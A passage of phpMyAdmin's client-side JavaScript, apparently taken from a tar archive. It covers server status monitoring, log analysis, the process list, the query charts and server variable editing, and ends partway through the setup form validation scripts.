{ return undefined; } // cur[0].value is Qcache_hits, cur[1].value is Com_select var diffQHits = cur[0].value - prev[0].value; // No NaN please :-) if (cur[1].value - prev[1].value === 0) { return 0; } return diffQHits / (cur[1].value - prev[1].value + diffQHits) * 100; // Query cache usage (%) case 'qcu': if (cur[1].value === 0) { return 0; } // cur[0].value is Qcache_free_memory, cur[1].value is query_cache_size return 100 - cur[0].value / cur[1].value * 100; } return undefined; } /* Build list of nodes that need to be retrieved from server. * It creates something like a stripped down version of the runtime.charts object. */ function buildRequiredDataList() { runtime.dataList = {}; // Store an own id, because the property name is subject of reordering, // thus destroying our mapping with runtime.charts <=> runtime.dataList var chartID = 0; $.each(runtime.charts, function (key, chart) { runtime.dataList[chartID] = []; for (var i = 0, l = chart.nodes.length; i < l; i++) { runtime.dataList[chartID][i] = chart.nodes[i].dataPoints; } runtime.charts[key].chartID = chartID; chartID++; }); } /* Loads the log table data, generates the table and handles the filters */ function loadLogStatistics(opts) { var logRequest = null; if (!opts.removeVariables) { opts.removeVariables = false; } if (!opts.limitTypes) { opts.limitTypes = false; } $('#emptyDialog').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, title: Messages.strAnalysingLogsTitle }); $('#emptyDialog').html(Messages.strAnalysingLogs + ' '); var dlgBtns = { [Messages.strCancelRequest]: { text: Messages.strCancelRequest, class: 'btn btn-primary' } }; dlgBtns[Messages.strCancelRequest].click = function () { if (logRequest !== null) { logRequest.abort(); } $(this).dialog('close'); }; $('#emptyDialog').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, width: 'auto', height: 'auto', buttons: dlgBtns }); var url = 'index.php?route=/server/status/monitor/slow-log'; if (opts.src === 'general') { url = 'index.php?route=/server/status/monitor/general-log'; } logRequest = $.post(url, { 'ajax_request': true, 'time_start': Math.round(opts.start / 1000), 'time_end': Math.round(opts.end / 1000), 'removeVariables': opts.removeVariables, 'limitTypes': opts.limitTypes, 'server': CommonParams.get('server') }, function (data) { var logData; var dlgBtns = { [Messages.strClose]: { text: Messages.strClose, class: 'btn btn-primary' } }; if (typeof data !== 'undefined' && data.success === true) { logData = data.message; } else { return serverResponseError(); } if (logData.rows.length === 0) { $('#emptyDialog').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, title: Messages.strNoDataFoundTitle }); $('#emptyDialog').html('

        ' + Messages.strNoDataFound + '

        '); dlgBtns[Messages.strClose].click = function () { $(this).dialog('close'); }; $('#emptyDialog').dialog('option', 'buttons', dlgBtns); return; } runtime.logDataCols = buildLogTable(logData, opts.removeVariables); /* Show some stats in the dialog */ $('#emptyDialog').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, title: Messages.strLoadingLogs }); $('#emptyDialog').html('

        ' + Messages.strLogDataLoaded + '

        '); $.each(logData.sum, function (key, value) { var newKey = key.charAt(0).toUpperCase() + key.slice(1).toLowerCase(); if (newKey === 'Total') { newKey = '' + newKey + ''; } $('#emptyDialog').append(newKey + ': ' + value + '
        '); }); /* Add filter options if more than a bunch of rows there to filter */ if (logData.numRows > 12) { $('#logTable').prepend('
        ' + ' ' + Messages.strFiltersForLogTable + '' + '
        ' + ' ' + ' ' + '
        ' + (logData.numRows > 250 ? '
        ' : '') + '
        ' + ' ' + ' ' + ' '); $('#noWHEREData').on('change', function () { filterQueries(true); }); if (logData.numRows > 250) { $('#startFilterQueryText').on('click', filterQueries); } else { $('#filterQueryText').on('keyup', filterQueries); } } dlgBtns[Messages.strJumpToTable] = { text: Messages.strJumpToTable, class: 'btn btn-secondary', click: function () { $(this).dialog('close'); $(document).scrollTop($('#logTable').offset().top); } }; $('#emptyDialog').dialog('option', 'buttons', dlgBtns); }); /** * Handles the actions performed when the user uses any of the * log table filters which are the filter by name and grouping * with ignoring data in WHERE clauses * * @param {boolean} varFilterChange Should be true when the users enabled or disabled * to group queries ignoring data in WHERE clauses */ function filterQueries(varFilterChange) { var textFilter; var val = $('#filterQueryText').val(); if (val.length === 0) { textFilter = null; } else { try { textFilter = new RegExp(val, 'i'); $('#filterQueryText').removeClass('error'); } catch (e) { if (e instanceof SyntaxError) { $('#filterQueryText').addClass('error'); textFilter = null; } } } var rowSum = 0; var totalSum = 0; var i = 0; var q; var noVars = $('#noWHEREData').prop('checked'); var equalsFilter = /([^=]+)=(\d+|(('|"|).*?[^\\])\4((\s+)|$))/gi; var functionFilter = /([a-z0-9_]+)\(.+?\)/gi; var filteredQueries = {}; var filteredQueriesLines = {}; var hide = false; var rowData; var queryColumnName = runtime.logDataCols[runtime.logDataCols.length - 2]; var sumColumnName = runtime.logDataCols[runtime.logDataCols.length - 1]; var isSlowLog = opts.src === 'slow'; var columnSums = {}; // For the slow log we have to count many columns (query_time, lock_time, rows_examined, rows_sent, etc.) var countRow = function (query, row) { var cells = row.match(/(.*?)<\/td>/gi); if (!columnSums[query]) { columnSums[query] = [0, 0, 0, 0]; } // lock_time and query_time and displayed in timespan format columnSums[query][0] += timeToSec(cells[2].replace(/(|<\/td>)/gi, '')); columnSums[query][1] += timeToSec(cells[3].replace(/(|<\/td>)/gi, '')); // rows_examind and rows_sent are just numbers columnSums[query][2] += parseInt(cells[4].replace(/(|<\/td>)/gi, ''), 10); columnSums[query][3] += parseInt(cells[5].replace(/(|<\/td>)/gi, ''), 10); }; // We just assume the sql text is always in the second last column, and that the total count is right of it $('#logTable').find('table tbody tr td.queryCell').each(function () { var $t = $(this); // If query is a SELECT and user enabled or disabled to group // queries ignoring data in where statements, we // need to re-calculate the sums of each row if (varFilterChange && $t.html().match(/^SELECT/i)) { if (noVars) { // Group on => Sum up identical columns, and hide all but 1 q = $t.text().replace(equalsFilter, '$1=...$6').trim(); q = q.replace(functionFilter, ' $1(...)'); // Js does not specify a limit on property name length, // so we can abuse it as index :-) if (filteredQueries[q]) { filteredQueries[q] += parseInt($t.next().text(), 10); totalSum += parseInt($t.next().text(), 10); hide = true; } else { filteredQueries[q] = parseInt($t.next().text(), 10); filteredQueriesLines[q] = i; $t.text(q); } if (isSlowLog) { countRow(q, $t.parent().html()); } } else { // Group off: Restore original columns rowData = $t.parent().data('query'); // Restore SQL text $t.text(rowData[queryColumnName]); // Restore total count $t.next().text(rowData[sumColumnName]); // Restore slow log columns if (isSlowLog) { $t.parent().children('td').eq(2).text(rowData.query_time); $t.parent().children('td').eq(3).text(rowData.lock_time); $t.parent().children('td').eq(4).text(rowData.rows_sent); $t.parent().children('td').eq(5).text(rowData.rows_examined); } } } // If not required to be hidden, do we need // to hide because of a not matching text filter? if (!hide && textFilter !== null && !textFilter.exec($t.text())) { hide = true; } // Now display or hide this column if (hide) { $t.parent().css('display', 'none'); } else { totalSum += parseInt($t.next().text(), 10); rowSum++; $t.parent().css('display', ''); } hide = false; i++; }); // We finished summarizing counts => Update count values of all grouped entries if (varFilterChange) { if (noVars) { var numCol; var row; var $table = $('#logTable').find('table tbody'); $.each(filteredQueriesLines, function (key, value) { if (filteredQueries[key] <= 1) { return; } row = $table.children('tr').eq(value); numCol = row.children().eq(runtime.logDataCols.length - 1); numCol.text(filteredQueries[key]); if (isSlowLog) { row.children('td').eq(2).text(secToTime(columnSums[key][0])); row.children('td').eq(3).text(secToTime(columnSums[key][1])); row.children('td').eq(4).text(columnSums[key][2]); row.children('td').eq(5).text(columnSums[key][3]); } }); } $('#logTable').find('table').trigger('update'); setTimeout(function () { $('#logTable').find('table').trigger('sorton', [[[runtime.logDataCols.length - 1, 1]]]); }, 0); } // Display some stats at the bottom of the table $('#logTable').find('table tfoot tr').html('' + Messages.strSumRows + ' ' + rowSum + '' + Messages.strTotal + '' + totalSum + ''); } } /* Turns a timespan (12:12:12) into a number */ function timeToSec(timeStr) { var time = timeStr.split(':'); return parseInt(time[0], 10) * 3600 + parseInt(time[1], 10) * 60 + parseInt(time[2], 10); } /* Turns a number into a timespan (100 into 00:01:40) */ function secToTime(timeInt) { var time = timeInt; var hours = Math.floor(time / 3600); time -= hours * 3600; var minutes = Math.floor(time / 60); time -= minutes * 60; if (hours < 10) { hours = '0' + hours; } if (minutes < 10) { minutes = '0' + minutes; } if (time < 10) { time = '0' + time; } return hours + ':' + minutes + ':' + time; } /* Constructs the log table out of the retrieved server data */ function buildLogTable(data, groupInserts) { var rows = data.rows; var cols = []; var $table = $('
        '); var $tBody; var $tRow; var $tCell; $('#logTable').html($table); var tempPushKey = function (key) { cols.push(key); }; var formatValue = function (name, value) { if (name === 'user_host') { return value.replace(/(\[.*?\])+/g, ''); } return Functions.escapeHtml(value); }; for (var i = 0, l = rows.length; i < l; i++) { if (i === 0) { $.each(rows[0], tempPushKey); $table.append('' + '' + cols.join('') + '' + ''); $table.append($tBody = $('')); } $tBody.append($tRow = $('')); for (var j = 0, ll = cols.length; j < ll; j++) { // Assuming the query column is the second last if (j === cols.length - 2 && rows[i][cols[j]].match(/^SELECT/i)) { $tRow.append($tCell = $('' + formatValue(cols[j], rows[i][cols[j]]) + '')); $tCell.on('click', openQueryAnalyzer); } else { $tRow.append('' + formatValue(cols[j], rows[i][cols[j]]) + ''); } $tRow.data('query', rows[i]); } } $table.append('' + '' + Messages.strSumRows + ' ' + data.numRows + '' + Messages.strTotal + '' + data.sum.TOTAL + ''); // Append a tooltip to the count column, if there exist one if ($('#logTable').find('tr').first().find('th').last().text().indexOf('#') > -1) { $('#logTable').find('tr').first().find('th').last().append(' ' + Functions.getImage('b_help', '', { 'class': 'qroupedQueryInfoIcon' })); var tooltipContent = Messages.strCountColumnExplanation; if (groupInserts) { tooltipContent += '

        ' + Messages.strMoreCountColumnExplanation + '

        '; } Functions.tooltip($('img.qroupedQueryInfoIcon'), 'img', tooltipContent); } $('#logTable').find('table').tablesorter({ sortList: [[cols.length - 1, 1]], widgets: ['fast-zebra'] }); $('#logTable').find('table thead th').append('
        '); return cols; } /* Opens the query analyzer dialog */ function openQueryAnalyzer() { var rowData = $(this).parent().data('query'); var query = rowData.argument || rowData.sql_text; if (codeMirrorEditor) { // TODO: somehow Functions.sqlPrettyPrint messes up the query, needs be fixed // query = Functions.sqlPrettyPrint(query); codeMirrorEditor.setValue(query); // Codemirror is bugged, it doesn't refresh properly sometimes. // Following lines seem to fix that setTimeout(function () { codeMirrorEditor.refresh(); }, 50); } else { $('#sqlquery').val(query); } var profilingChart = null; var dlgBtns = { [Messages.strAnalyzeQuery]: { text: Messages.strAnalyzeQuery, class: 'btn btn-primary' }, [Messages.strClose]: { text: Messages.strClose, class: 'btn btn-secondary' } }; dlgBtns[Messages.strAnalyzeQuery].click = function () { profilingChart = loadQueryAnalysis(rowData); }; dlgBtns[Messages.strClose].click = function () { $(this).dialog('close'); }; $('#queryAnalyzerDialog').dialog({ classes: { 'ui-dialog-titlebar-close': 'btn-close' }, width: 'auto', height: 'auto', resizable: false, buttons: dlgBtns, close: function () { if (profilingChart !== null) { profilingChart.destroy(); } $('#queryAnalyzerDialog').find('div.placeHolder').html(''); if (codeMirrorEditor) { codeMirrorEditor.setValue(''); } else { $('#sqlquery').val(''); } } }); } /* Loads and displays the analyzed query data */ function loadQueryAnalysis(rowData) { var db = rowData.db || ''; var profilingChart = null; $('#queryAnalyzerDialog').find('div.placeHolder').html(Messages.strAnalyzing + ' '); $.post('index.php?route=/server/status/monitor/query', { 'ajax_request': true, 'query': codeMirrorEditor ? codeMirrorEditor.getValue() : $('#sqlquery').val(), 'database': db, 'server': CommonParams.get('server') }, function (responseData) { var data = responseData; var i; var l; if (typeof data !== 'undefined' && data.success === true) { data = data.message; } if (data.error) { if (data.error.indexOf('1146') !== -1 || data.error.indexOf('1046') !== -1) { data.error = Messages.strServerLogError; } $('#queryAnalyzerDialog').find('div.placeHolder').html(''); return; } var totalTime = 0; // Float sux, I'll use table :( $('#queryAnalyzerDialog').find('div.placeHolder').html('
        '); var explain = '' + Messages.strExplainOutput + ' ' + $('#explain_docu').html(); if (data.explain.length > 1) { explain += ' ('; for (i = 0; i < data.explain.length; i++) { if (i > 0) { explain += ', '; } explain += '' + i + ''; } explain += ')'; } explain += '

        '; var tempExplain = function (key, value) { var newValue = value === null ? 'null' : Functions.escapeHtml(value); if (key === 'type' && newValue.toLowerCase() === 'all') { newValue = '' + newValue + ''; } if (key === 'Extra') { newValue = newValue.replace(/(using (temporary|filesort))/gi, '$1'); } explain += key + ': ' + newValue + '
        '; }; for (i = 0, l = data.explain.length; i < l; i++) { explain += '
        0 ? 'style="display:none;"' : '') + '>'; $.each(data.explain[i], tempExplain); explain += '
        '; } explain += '

        ' + Messages.strAffectedRows + ' ' + data.affectedRows; $('#queryAnalyzerDialog').find('div.placeHolder td.explain').append(explain); $('#queryAnalyzerDialog').find('div.placeHolder a[href*="#showExplain"]').on('click', function () { var id = $(this).attr('href').split('-')[1]; $(this).parent().find('div[class*="explain"]').hide(); $(this).parent().find('div[class*="explain-' + id + '"]').show(); }); if (data.profiling) { var chartData = []; var numberTable = ''; var duration; var otherTime = 0; for (i = 0, l = data.profiling.length; i < l; i++) { duration = parseFloat(data.profiling[i].duration); totalTime += duration; numberTable += ''; } // Only put those values in the pie which are > 2% for (i = 0, l = data.profiling.length; i < l; i++) { duration = parseFloat(data.profiling[i].duration); if (duration / totalTime > 0.02) { chartData.push([Functions.prettyProfilingNum(duration, 2) + ' ' + data.profiling[i].state, duration]); } else { otherTime += duration; } } if (otherTime > 0) { chartData.push([Functions.prettyProfilingNum(otherTime, 2) + ' ' + Messages.strOther, otherTime]); } numberTable += ''; numberTable += '
        ' + Messages.strStatus + '' + Messages.strTime + '
        ' + data.profiling[i].state + ' ' + Functions.prettyProfilingNum(duration, 2) + '
        ' + Messages.strTotalTime + '' + Functions.prettyProfilingNum(totalTime, 2) + '
        '; $('#queryAnalyzerDialog').find('div.placeHolder td.chart').append('' + Messages.strProfilingResults + ' ' + $('#profiling_docu').html() + ' ' + '(' + Messages.strTable + ', ' + Messages.strChart + ')
        ' + numberTable + '

        '); $('#queryAnalyzerDialog').find('div.placeHolder a[href="#showNums"]').on('click', function () { $('#queryAnalyzerDialog').find('#queryProfiling').hide(); $('#queryAnalyzerDialog').find('table.queryNums').show(); return false; }); $('#queryAnalyzerDialog').find('div.placeHolder a[href="#showChart"]').on('click', function () { $('#queryAnalyzerDialog').find('#queryProfiling').show(); $('#queryAnalyzerDialog').find('table.queryNums').hide(); return false; }); profilingChart = Functions.createProfilingChart('queryProfiling', chartData); } }); return profilingChart; } /* Saves the monitor to localstorage */ function saveMonitor() { var gridCopy = {}; $.each(runtime.charts, function (key, elem) { gridCopy[key] = {}; gridCopy[key].nodes = elem.nodes; gridCopy[key].settings = elem.settings; gridCopy[key].title = elem.title; gridCopy[key].series = elem.series; gridCopy[key].maxYLabel = elem.maxYLabel; }); if (isStorageSupported('localStorage')) { window.localStorage.monitorCharts = JSON.stringify(gridCopy); window.localStorage.monitorSettings = JSON.stringify(monitorSettings); window.localStorage.monitorVersion = monitorProtocolVersion; } $('a[href="#clearMonitorConfig"]').show(); } }); // Run the monitor once loaded AJAX.registerOnload('server/status/monitor.js', function () { $('a[href="#pauseCharts"]').trigger('click'); });dist/server/status/processes.js000066600000013624151724472050012725 0ustar00/** * Server Status Processes * * @package PhpMyAdmin */ // object to store process list state information var processList = { // denotes whether auto refresh is on or off autoRefresh: false, // stores the GET request which refresh process list refreshRequest: null, // stores the timeout id returned by setTimeout refreshTimeout: null, // the refresh interval in seconds refreshInterval: null, // the refresh URL (required to save last used option) // i.e. full or sorting url refreshUrl: null, /** * Handles killing of a process * * @return {void} */ init: function () { processList.setRefreshLabel(); if (processList.refreshUrl === null) { processList.refreshUrl = 'index.php?route=/server/status/processes/refresh'; } if (processList.refreshInterval === null) { processList.refreshInterval = $('#id_refreshRate').val(); } else { $('#id_refreshRate').val(processList.refreshInterval); } }, /** * Handles killing of a process * * @param {object} event the event object * * @return {void} */ killProcessHandler: function (event) { event.preventDefault(); var argSep = CommonParams.get('arg_separator'); var params = $(this).getPostData(); params += argSep + 'ajax_request=1' + argSep + 'server=' + CommonParams.get('server'); // Get row element of the process to be killed. var $tr = $(this).closest('tr'); $.post($(this).attr('href'), params, function (data) { // Check if process was killed or not. if (data.hasOwnProperty('success') && data.success) { // remove the row of killed process. $tr.remove(); // As we just removed a row, reapply odd-even classes // to keep table stripes consistent var $tableProcessListTr = $('#tableprocesslist').find('> tbody > tr'); $tableProcessListTr.each(function (index) { if (index >= 0 && index % 2 === 0) { $(this).removeClass('odd').addClass('even'); } else if (index >= 0 && index % 2 !== 0) { $(this).removeClass('even').addClass('odd'); } }); // Show process killed message Functions.ajaxShowMessage(data.message, false); } else { // Show process error message Functions.ajaxShowMessage(data.error, false); } }, 'json'); }, /** * Handles Auto Refreshing * @return {void} */ refresh: function () { // abort any previous pending requests // this is necessary, it may go into // multiple loops causing unnecessary // requests even after leaving the page. processList.abortRefresh(); // if auto refresh is enabled if (processList.autoRefresh) { // Only fetch the table contents processList.refreshUrl = 'index.php?route=/server/status/processes/refresh'; var interval = parseInt(processList.refreshInterval, 10) * 1000; var urlParams = processList.getUrlParams(); processList.refreshRequest = $.post(processList.refreshUrl, urlParams, function (data) { if (data.hasOwnProperty('success') && data.success) { var $newTable = $(data.message); $('#tableprocesslist').html($newTable.html()); Functions.highlightSql($('#tableprocesslist')); } processList.refreshTimeout = setTimeout(processList.refresh, interval); }); } }, /** * Stop current request and clears timeout * * @return {void} */ abortRefresh: function () { if (processList.refreshRequest !== null) { processList.refreshRequest.abort(); processList.refreshRequest = null; } clearTimeout(processList.refreshTimeout); }, /** * Set label of refresh button * change between play & pause * * @return {void} */ setRefreshLabel: function () { var img = 'play'; var label = Messages.strStartRefresh; if (processList.autoRefresh) { img = 'pause'; label = Messages.strStopRefresh; processList.refresh(); } $('a#toggleRefresh').html(Functions.getImage(img) + Functions.escapeHtml(label)); }, /** * Return the Url Parameters * for autorefresh request, * includes showExecuting if the filter is checked * * @return {object} urlParams - url parameters with autoRefresh request */ getUrlParams: function () { var urlParams = { 'server': CommonParams.get('server'), 'ajax_request': true, 'refresh': true, 'full': $('input[name="full"]').val(), 'order_by_field': $('input[name="order_by_field"]').val(), 'column_name': $('input[name="column_name"]').val(), 'sort_order': $('input[name="sort_order"]').val() }; if ($('#showExecuting').is(':checked')) { urlParams.showExecuting = true; return urlParams; } return urlParams; } }; AJAX.registerOnload('server/status/processes.js', function () { processList.init(); // Bind event handler for kill_process $('#tableprocesslist').on('click', 'a.kill_process', processList.killProcessHandler); // Bind event handler for toggling refresh of process list $('a#toggleRefresh').on('click', function (event) { event.preventDefault(); processList.autoRefresh = !processList.autoRefresh; processList.setRefreshLabel(); }); // Bind event handler for change in refresh rate $('#id_refreshRate').on('change', function () { processList.refreshInterval = $(this).val(); processList.refresh(); }); // Bind event handler for table header links $('#tableprocesslist').on('click', 'thead a', function () { processList.refreshUrl = $(this).attr('href'); }); }); /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('server/status/processes.js', function () { $('#tableprocesslist').off('click', 'a.kill_process'); $('a#toggleRefresh').off('click'); $('#id_refreshRate').off('change'); $('#tableprocesslist').off('click', 'thead a'); // stop refreshing further processList.abortRefresh(); });dist/server/status/queries.js000066600000002254151724472050012371 0ustar00/** * @fileoverview Javascript functions used in server status query page * @name Server Status Query * * @requires jQuery * @requires jQueryUI * @requires js/functions.js */ /* global initTableSorter */ // js/server/status/sorter.js /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('server/status/queries.js', function () { if (document.getElementById('serverstatusquerieschart') !== null) { var queryPieChart = $('#serverstatusquerieschart').data('queryPieChart'); if (queryPieChart) { queryPieChart.destroy(); } } }); AJAX.registerOnload('server/status/queries.js', function () { // Build query statistics chart var cdata = []; try { if (document.getElementById('serverstatusquerieschart') !== null) { $.each($('#serverstatusquerieschart').data('chart'), function (key, value) { cdata.push([key, parseInt(value, 10)]); }); $('#serverstatusquerieschart').data('queryPieChart', Functions.createProfilingChart('serverstatusquerieschart', cdata)); } } catch (exception) { // Could not load chart, no big deal... } initTableSorter('statustabs_queries'); });dist/server/status/sorter.js000066600000003375151724472050012237 0ustar00// TODO: tablesorter shouldn't sort already sorted columns // eslint-disable-next-line no-unused-vars function initTableSorter(tabid) { var $table; var opts; switch (tabid) { case 'statustabs_queries': $table = $('#serverStatusQueriesDetails'); opts = { sortList: [[3, 1]], headers: { 1: { sorter: 'fancyNumber' }, 2: { sorter: 'fancyNumber' } } }; break; } $table.tablesorter(opts); $table.find('tr').first().find('th').append('
        '); } $(function () { $.tablesorter.addParser({ id: 'fancyNumber', is: function (s) { return /^[0-9]?[0-9,\\.]*\s?(k|M|G|T|%)?$/.test(s); }, format: function (s) { var num = jQuery.tablesorter.formatFloat(s.replace(Messages.strThousandsSeparator, '').replace(Messages.strDecimalSeparator, '.')); var factor = 1; switch (s.charAt(s.length - 1)) { case '%': factor = -2; break; // Todo: Complete this list (as well as in the regexp a few lines up) case 'k': factor = 3; break; case 'M': factor = 6; break; case 'G': factor = 9; break; case 'T': factor = 12; break; } return num * Math.pow(10, factor); }, type: 'numeric' }); $.tablesorter.addParser({ id: 'withinSpanNumber', is: function (s) { return /(.*)?<\/span>/); return res && res.length >= 3 ? res[2] : 0; }, type: 'numeric' }); });dist/server/status/variables.js000066600000005534151724472050012670 0ustar00/** * * * @package PhpMyAdmin */ /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('server/status/variables.js', function () { $('#filterAlert').off('change'); $('#filterText').off('keyup'); $('#filterCategory').off('change'); $('#dontFormat').off('change'); }); AJAX.registerOnload('server/status/variables.js', function () { // Filters for status variables var textFilter = null; var alertFilter = $('#filterAlert').prop('checked'); var categoryFilter = $('#filterCategory').find(':selected').val(); var text = ''; // Holds filter text /* 3 Filtering functions */ $('#filterAlert').on('change', function () { alertFilter = this.checked; filterVariables(); }); $('#filterCategory').on('change', function () { categoryFilter = $(this).val(); filterVariables(); }); $('#dontFormat').on('change', function () { // Hiding the table while changing values speeds up the process a lot const serverStatusVariables = $('#serverStatusVariables'); serverStatusVariables.hide(); serverStatusVariables.find('td.value span.original').toggle(this.checked); serverStatusVariables.find('td.value span.formatted').toggle(!this.checked); serverStatusVariables.show(); }).trigger('change'); $('#filterText').on('keyup', function () { var word = $(this).val().replace(/_/g, ' '); if (word.length === 0 || word.length >= 32768) { textFilter = null; } else { try { textFilter = new RegExp('(^| )' + word, 'i'); $(this).removeClass('error'); } catch (e) { if (e instanceof SyntaxError) { $(this).addClass('error'); textFilter = null; } } } text = word; filterVariables(); }).trigger('keyup'); /* Filters the status variables by name/category/alert in the variables tab */ function filterVariables() { var usefulLinks = 0; var section = text; if (categoryFilter.length > 0) { section = categoryFilter; } if (section.length > 1) { $('#linkSuggestions').find('span').each(function () { if ($(this).attr('class').indexOf('status_' + section) !== -1) { usefulLinks++; $(this).css('display', ''); } else { $(this).css('display', 'none'); } }); } if (usefulLinks > 0) { $('#linkSuggestions').css('display', ''); } else { $('#linkSuggestions').css('display', 'none'); } $('#serverStatusVariables').find('th.name').each(function () { if ((textFilter === null || textFilter.exec($(this).text())) && (!alertFilter || $(this).next().find('span.text-danger').length > 0) && (categoryFilter.length === 0 || $(this).parent().hasClass('s_' + categoryFilter))) { $(this).parent().css('display', ''); } else { $(this).parent().css('display', 'none'); } }); } });dist/server/user_groups.js000066600000002252151724472050011744 0ustar00/** * @fileoverview Javascript functions used in server user groups page * @name Server User Groups * * @requires jQuery */ /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('server/user_groups.js', function () { $('#deleteUserGroupModal').off('show.bs.modal'); }); /** * Bind event handlers */ AJAX.registerOnload('server/user_groups.js', function () { const deleteUserGroupModal = $('#deleteUserGroupModal'); deleteUserGroupModal.on('show.bs.modal', function (event) { const userGroupName = $(event.relatedTarget).data('user-group'); this.querySelector('.modal-body').innerText = Functions.sprintf(Messages.strDropUserGroupWarning, Functions.escapeHtml(userGroupName)); }); deleteUserGroupModal.on('shown.bs.modal', function (event) { const userGroupName = $(event.relatedTarget).data('user-group'); $('#deleteUserGroupConfirm').on('click', function () { $.post('index.php?route=/server/user-groups', { 'deleteUserGroup': true, 'userGroup': userGroupName, 'ajax_request': true }, AJAX.responseHandler); $('#deleteUserGroupModal').modal('hide'); }); }); });dist/server/variables.js000066600000007302151724472050011340 0ustar00/** * @fileoverview Javascript functions used in server variables page * @name Server Replication * * @requires jQuery * @requires jQueryUI * @requires js/functions.js */ /** * Unbind all event handlers before tearing down a page */ AJAX.registerTeardown('server/variables.js', function () { $(document).off('click', 'a.editLink'); $('#serverVariables').find('.var-name').find('a img').remove(); }); AJAX.registerOnload('server/variables.js', function () { var $saveLink = $('a.saveLink'); var $cancelLink = $('a.cancelLink'); $('#serverVariables').find('.var-name').find('a').append($('#docImage').clone().css('display', 'inline-block')); /* Launches the variable editor */ $(document).on('click', 'a.editLink', function (event) { event.preventDefault(); editVariable(this); }); /* Allows the user to edit a server variable */ function editVariable(link) { var $link = $(link); var $cell = $link.parent(); var $valueCell = $link.parents('.var-row').find('.var-value'); var varName = $link.data('variable'); var $mySaveLink = $saveLink.clone().css('display', 'inline-block'); var $myCancelLink = $cancelLink.clone().css('display', 'inline-block'); var $msgbox = Functions.ajaxShowMessage(); var $myEditLink = $cell.find('a.editLink'); $cell.addClass('edit'); // variable is being edited $myEditLink.remove(); // remove edit link $mySaveLink.on('click', function () { var $msgbox = Functions.ajaxShowMessage(Messages.strProcessingRequest); $.post('index.php?route=/server/variables/set/' + encodeURIComponent(varName), { 'ajax_request': true, 'server': CommonParams.get('server'), 'varValue': $valueCell.find('input').val() }, function (data) { if (data.success) { $valueCell.html(data.variable).data('content', data.variable); Functions.ajaxRemoveMessage($msgbox); } else { if (data.error === '') { Functions.ajaxShowMessage(Messages.strRequestFailed, false); } else { Functions.ajaxShowMessage(data.error, false); } $valueCell.html($valueCell.data('content')); } $cell.removeClass('edit').html($myEditLink); }); return false; }); $myCancelLink.on('click', function () { $valueCell.html($valueCell.data('content')); $cell.removeClass('edit').html($myEditLink); return false; }); $.get('index.php?route=/server/variables/get/' + encodeURIComponent(varName), { 'ajax_request': true, 'server': CommonParams.get('server') }, function (data) { if (typeof data !== 'undefined' && data.success === true) { var $links = $('
        ').append($myCancelLink).append('   ').append($mySaveLink); var $editor = $('
        ', { 'class': 'serverVariableEditor' }).append($('
        ').append($('', { type: 'text', 'class': 'form-control form-control-sm' }).val(data.message))); // Save and replace content $cell.html($links).children().css('display', 'flex'); $valueCell.data('content', $valueCell.html()).html($editor).find('input').trigger('focus').on('keydown', function (event) { // Keyboard shortcuts if (event.keyCode === 13) { // Enter key $mySaveLink.trigger('click'); } else if (event.keyCode === 27) { // Escape key $myCancelLink.trigger('click'); } }); Functions.ajaxRemoveMessage($msgbox); } else { $cell.removeClass('edit').html($myEditLink); Functions.ajaxShowMessage(data.error); } }); } });dist/setup/ajax.js000066600000000322151724472050010140 0ustar00/* eslint-disable no-unused-vars */ /** * Dummy implementation of the ajax page loader */ var AJAX = { registerOnload: function (idx, func) { $(func); }, registerTeardown: function (idx, func) {} };dist/setup/scripts.js000066600000013127151724472050010713 0ustar00/** * Functions used in Setup configuration forms */ /* global displayErrors, getAllValues, getIdPrefix, validators */ // js/config.js // show this window in top frame if (top !== self) { window.top.location.href = location; } // ------------------------------------------------------------------ // Messages // $(function () { if (window.location.protocol === 'https:') { $('#no_https').remove(); } else { $('#no_https a').on('click', function () { var oldLocation = window.location; window.location.href = 'https:' + oldLocation.href.substring(oldLocation.protocol.length); return false; }); } var hiddenMessages = $('.hiddenmessage'); if (hiddenMessages.length > 0) { hiddenMessages.hide(); var link = $('#show_hidden_messages'); link.on('click', function (e) { e.preventDefault(); hiddenMessages.show(); $(this).remove(); }); link.html(link.html().replace('#MSG_COUNT', hiddenMessages.length)); link.show(); } }); // set document width $(function () { var width = 0; $('ul.tabs li').each(function () { width += $(this).width() + 10; }); var contentWidth = width; width += 250; $('body').css('min-width', width); $('.tabs_contents').css('min-width', contentWidth); }); // // END: Messages // ------------------------------------------------------------------ // ------------------------------------------------------------------ // Form validation and field operations // /** * Calls server-side validation procedures * * @param {Element} parent input field in
        or
        * @param {String} id validator id * @param {object} values values hash {element1_id: value, ...} * * @return {bool|void} */ function ajaxValidate(parent, id, values) { var $parent = $(parent); // ensure that parent is a fieldset if ($parent.attr('tagName') !== 'FIELDSET') { $parent = $parent.closest('fieldset'); if ($parent.length === 0) { return false; } } if ($parent.data('ajax') !== null) { $parent.data('ajax').abort(); } $parent.data('ajax', $.ajax({ url: 'validate.php', cache: false, type: 'POST', data: { token: $parent.closest('form').find('input[name=token]').val(), id: id, values: JSON.stringify(values) }, success: function (response) { if (response === null) { return; } var error = {}; if (typeof response !== 'object') { error[$parent.id] = [response]; } else if (typeof response.error !== 'undefined') { error[$parent.id] = [response.error]; } else { for (var key in response) { var value = response[key]; error[key] = Array.isArray(value) ? value : [value]; } } displayErrors(error); }, complete: function () { $parent.removeData('ajax'); } })); return true; } /** * Automatic form submission on change. */ $(document).on('change', '.autosubmit', function (e) { e.target.form.submit(); }); $.extend(true, validators, { // field validators field: { /** * hide_db field * * @param {boolean} isKeyUp * * @return {true} */ hide_db: function (isKeyUp) { // eslint-disable-line camelcase if (!isKeyUp && this.value !== '') { var data = {}; data[this.id] = this.value; ajaxValidate(this, 'Servers/1/hide_db', data); } return true; }, /** * TrustedProxies field * * @param {boolean} isKeyUp * * @return {true} */ TrustedProxies: function (isKeyUp) { if (!isKeyUp && this.value !== '') { var data = {}; data[this.id] = this.value; ajaxValidate(this, 'TrustedProxies', data); } return true; } }, // fieldset validators fieldset: { /** * Validates Server fieldset * * @param {boolean} isKeyUp * * @return {true} */ Server: function (isKeyUp) { if (!isKeyUp) { ajaxValidate(this, 'Server', 